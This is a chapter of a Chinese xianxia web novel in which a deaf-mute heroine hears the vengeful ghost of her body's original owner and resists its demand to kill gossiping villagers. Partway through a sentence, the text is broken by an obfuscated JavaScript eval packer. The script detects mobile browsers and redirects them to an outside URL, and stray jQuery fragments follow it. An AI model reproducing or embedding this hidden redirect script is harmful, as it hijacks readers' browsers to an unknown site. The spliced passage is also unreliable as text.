11. 梏一 哑 原梏主

作品:《穿进我的游戏里弑神

    位高权重者可怜,


    卑贱粗蛮者可恶。


    ***


    熙熙攘攘的人群推搡着,一旁的果蔬架直直地朝沉缚砸来。


    “阿缚姐姐——”小软惊慌失措。


    却见一抹碧绿色身影迅速从远处闪来,男人如同飞燕,敏捷地越过人海。一把捞起地上的沉缚,同时还不忘将果蔬架踹开,避免砸到其他人。


    这一遭惊心动魄,终于让沉缚的意识回笼。


    她被危肆紧紧揽在怀里,澄澈的阳光里,危肆那墨黑发间的几缕银发是那样刺眼。


    沉缚冲人张张嘴,又摇摇头。危肆只是不动声色地捏捏她的肩,朝着她轻轻一笑。


    看来危肆知道她现在是聋哑人。


    刚才同危肆拉扯的老妇人,嚷着声音挤过来:“你干嘛呢!你这个骗子还不把手放开!男女有别——”


    说着,就从危肆手中扒拉走沉缚。


    危肆只淡淡一笑,巧妙躲开:“知道了。”而后,牢牢环住怀里的人。


    从刚刚得知的记忆里,沉缚知道面前的老妇人是原梏主的外祖母。


    按理来说,外祖母应该是较为亲近之人,可自从沉缚见到她那一刻起,她的心底就泛起强烈的怨恨。


    面对老妇人的肢体接触,她心里的怨恨更甚,胃里翻江倒海。


    这怨恨,不属于她。


    这是原梏主的怨恨。


    原梏主为何会有这样深的怨恨。


    沉缚强压下不适,费力从原梏主的情绪里挣脱出。她不动声色地朝危肆怀里贴了贴,离老妇人更远了些。


    见“无理取闹”的老妇人依旧不依不饶,危肆语气有些疏离:“我能这样快的闪过来,您就应该相信我不是骗子了。”


    他警惕地环顾了一圈,又压低声音:“是修士。”


    老妇人一时哽住,这个漂亮男人说得没错。


    虽说,他们离沉缚的位置说远不远的,但也不可能有这样快的速度。


    但老妇人依旧不放心。


    这男人长得太过漂亮,漂亮得惨绝人寰。


    漂亮的男人最会撒谎。


    沉缚只见他们的嘴巴不停翻动,却不知他们在谈论些什么。心下不由得生出无奈。


    小软却忽然拽了拽她的衣袖,递给她一张纸:【外祖母想为你找个修士来,为了教会你手语。】


    不知哪个字眼又刺痛了原梏主的心,沉缚心底那股灼心的怨恨再次卷土重来。


    随着他们的谈话声不断,小软的笔也未停。


    沉缚想起小软有一个超乎常人的技能:写字速度极快,几乎能与人说话的速度齐平。


    【但修士极其罕见,这个男人一上来就称自己是修士,定是个骗子,外祖母不信她。】


    沉缚提笔,刚要写字时,一道幽灵般的声音从沉缚身体悠悠升起:“对着干——跟她对着干——”


    这是已经死去的原梏主的声音?!她能听见原梏主的声音?!


    见沉缚迟迟没有动静,幽灵般的声音急了,她嘶吼着嗓子,尖历叫喊:“跟那个老妇人对着干——,说你就要这个修士!快说啊——”


    这鬼泣似的尾音刺得沉缚心口一痛,她不敢再犹豫,立刻落笔写下:【外祖母,我就要这个修士。】


    【我就要这个修士!】


    老妇人看着焦急的沉缚,最终还是迟疑地点点头,答应收下危肆。


    几人朝家里走去。老妇人和小软时不时瞅瞅后面并肩走的两人。


    “外祖母,我们真要把这个漂亮男人捡回去吗?”


    “你看看他穿的衣服——一身的雍容华贵,头上那支簪子都快抵我们几年的银钱了。”


    老妇人睨了睨眼:“那个小哑巴说要,我有什么办法。”


    小软叹气。她觉得阿缚姐姐就是很少见男子,所以才会第一次碰见好看的人就不管三七二十一。


    不过也确实好看。


    ……不对,她不能被策反。


    乡间的小路十分静谧,但此刻沉缚的世界却喧闹无比。


    她现在是聋哑人,按理说什么都不该听见。但或许是渡梏的原因,她脑海里不仅能听见原梏主的声音,还能和原梏主进行交流。


    原梏主捏尖着嗓子,一个劲儿的鬼笑:“你是不是觉得这老妇人对我可好?你是不是觉得她为了我,不仅捡回了小软,还特地来为我找修士。”


    “假的!”女子的声音陡然尖历:“都是假的!”


    她的语气染上些疯魔:“全都是骗人的——都是做戏——”


    沉缚听着原梏主的吼叫有些胆战心惊,她不敢反驳,一个劲儿的顺着她的话问:“为什么这样说?”


    女子沉默了好一会儿:“老太婆把小软带回来,只是为了方便骂的我时候,好让小软替她转述。不然对着一个聋子骂人,对方又听不见,多没意思。”


    “找修士,亦是如此。”


    原梏主继续平淡道:“她知道小软偶尔会乱传话给我,省去一些她骂我的话,所以找来修士,让我学会手语,好直接骂我!怪罪我!”


    沉缚听着这虚弱的声音盛满了怨恨,心口处紧了紧,心像针扎似的密密地疼着。


    沉缚被原梏主的情绪牵引着,眼神空洞,如木偶一般呆愣愣地走着。


    危肆敏锐地察觉到身旁人的不对劲——沉缚的魂都快飞了。


    男人紧急握住女孩冰凉的手,银白色术灵源源不断地被送进沉缚的体内。


    “回神,沉缚回神!”


    沉缚的瞳孔终于颤了颤,跑掉的魂一股脑地回了她的身体。


    她觉得头痛欲裂,危肆扣了扣她的手腕内侧,而后一道熟悉的声音传进她的脑海:


    “沉缚,别被原梏主带偏了。”


    听到危肆的声音,沉缚惊讶极了,下意识张口,却还是吐不出一个字。她去摸自己的声带,还是和之前一样只有特别微弱的震动。


    危肆看出她眼底的疑惑:“这个待会儿同你解释,现下最重要的是,你听我说——”


    沉缚点点头。


    “我知道你能听见原梏主的声音,也能和原梏主交流,这是因为你在渡梏,你在行引渡之职。”


    “为了渡梏顺利,我们必要时会和原梏主进行一定的交流。”


    危肆语气严峻了些:“但,同他们交流时,一定要小心翼翼,切忌被他们的怨念牵走,否则一不注意,这原梏主就会从亡灵变成鬼,渡梏也会失败。”


    沉缚一阵毛骨悚然,冷汗直流,她刚刚不就被牵引着走了。


    危肆轻柔地拍了拍她的背,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534754|186494||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    安慰道:“别怕,就算是最坏的结果,也有我在这里。”


    “你和原梏主之间的交流,只有你们俩知道,我不清楚她到底同你说了些什么。


    “但你记住,你终究只是引渡之人,不是梏中人。”


    沉缚的焦躁,被危肆清冽的嗓音安抚了不少,她轻点了点头,拍了拍搭在她肩头的手,以表感谢。


    沉缚只是轻轻一拍,危肆的身子就僵了半边。他对沉缚的一切都有着病态的贪恋。


    **


    乡间路上偶尔会有三两结伴出行的人,无一例外的是,这些人见了沉缚都有些窃窃私语。


    虽让人感到不舒服,但沉缚现在也听不着,这些绯绯议论对她而言就如“耳旁风”。


    但对已经变成魂灵的原梏主来说,却如针扎。


    聋了一辈子的原梏主,终于在死后恢复了听觉,却没想到日日听见的都是这些话——


    “哎哟,左相真是可怜啊。”


    “可不是嘛,寒门出身,好不容易通过科考一步步走上丞相之位,本以为从此日子就好起来了。结果,发妻生的第一个女儿……”


    “诶诶诶,左相第一个女儿怎么了?”


    “你不知道?”那人压低着声音,周围的人围向他:“那女子天生是个聋哑人,说不了话也听不到声。”


    “哎呀!”人群齐齐发出叹息,一个个惋惜得不得了。


    “说起来,左相的发妻也是个可恶的人。”


    人们问:“怎么说?”


    “那是个——乡野村妇。哎哟,那行为举止粗鲁的,那举止言谈粗鄙的。简直一点规矩都不懂。”


    “怎么?你见过人家啊?”有人问。


    “嘶,”讲话的人很不满:“我没见过我能这样说?那脸蜡黄的,整个人恐怖至极,双眼都凹进去了!简直像鬼!”


    他边说还边比划,听的人似乎也看见了左相发妻,齐齐附和:“可怕可怕。”


    “不过,左相倒是很爱她,爱到连圣上都为之感动。”


    “但他发妻最可怖的,还是她的蛇蝎心肠。”


    “怎么说?”


    他招招手示意人们围得更近:“她的女儿不是残缺之人吗,左相倒是不嫌弃这个女儿还很宝贝。”


    “结果,那女人趁着左相外出处理公务,裹着一床被褥就将那小孩扔给乡下她娘家里去了。”


    “你们想,左相发妻是个乡野村妇,那女人的娘自然也是,那小孩日子难过呀。”


    众人附和:“难过,难过。”


    “就这样,左相都没将她休了,说什么糟糠之妻不下堂,怄了几天气就又原谅她了。”


    “不过,那女人终究是病死了,真是大快人心!”


    “就是可怜了左相,要伤心难过了好长的日子。”


    “唉,可怜,可怜。”众人叹息。


    原梏主又疯了,声音又惨又历,冲沉缚凄叫着:“杀了他们,你替我杀了他们!”


    沉缚谨记刚刚危肆同她说的话,故意不理原梏主这无理的要求。


    见引渡人无动于衷,原梏主仗着自己是魂体,在沉缚的体内冲撞。


    阴凉潮湿的感觉在沉缚体内的每一个角落里乱窜,其他地方的疼痛她都可以忍受,但唯独半颗心的疼痛她无能为力。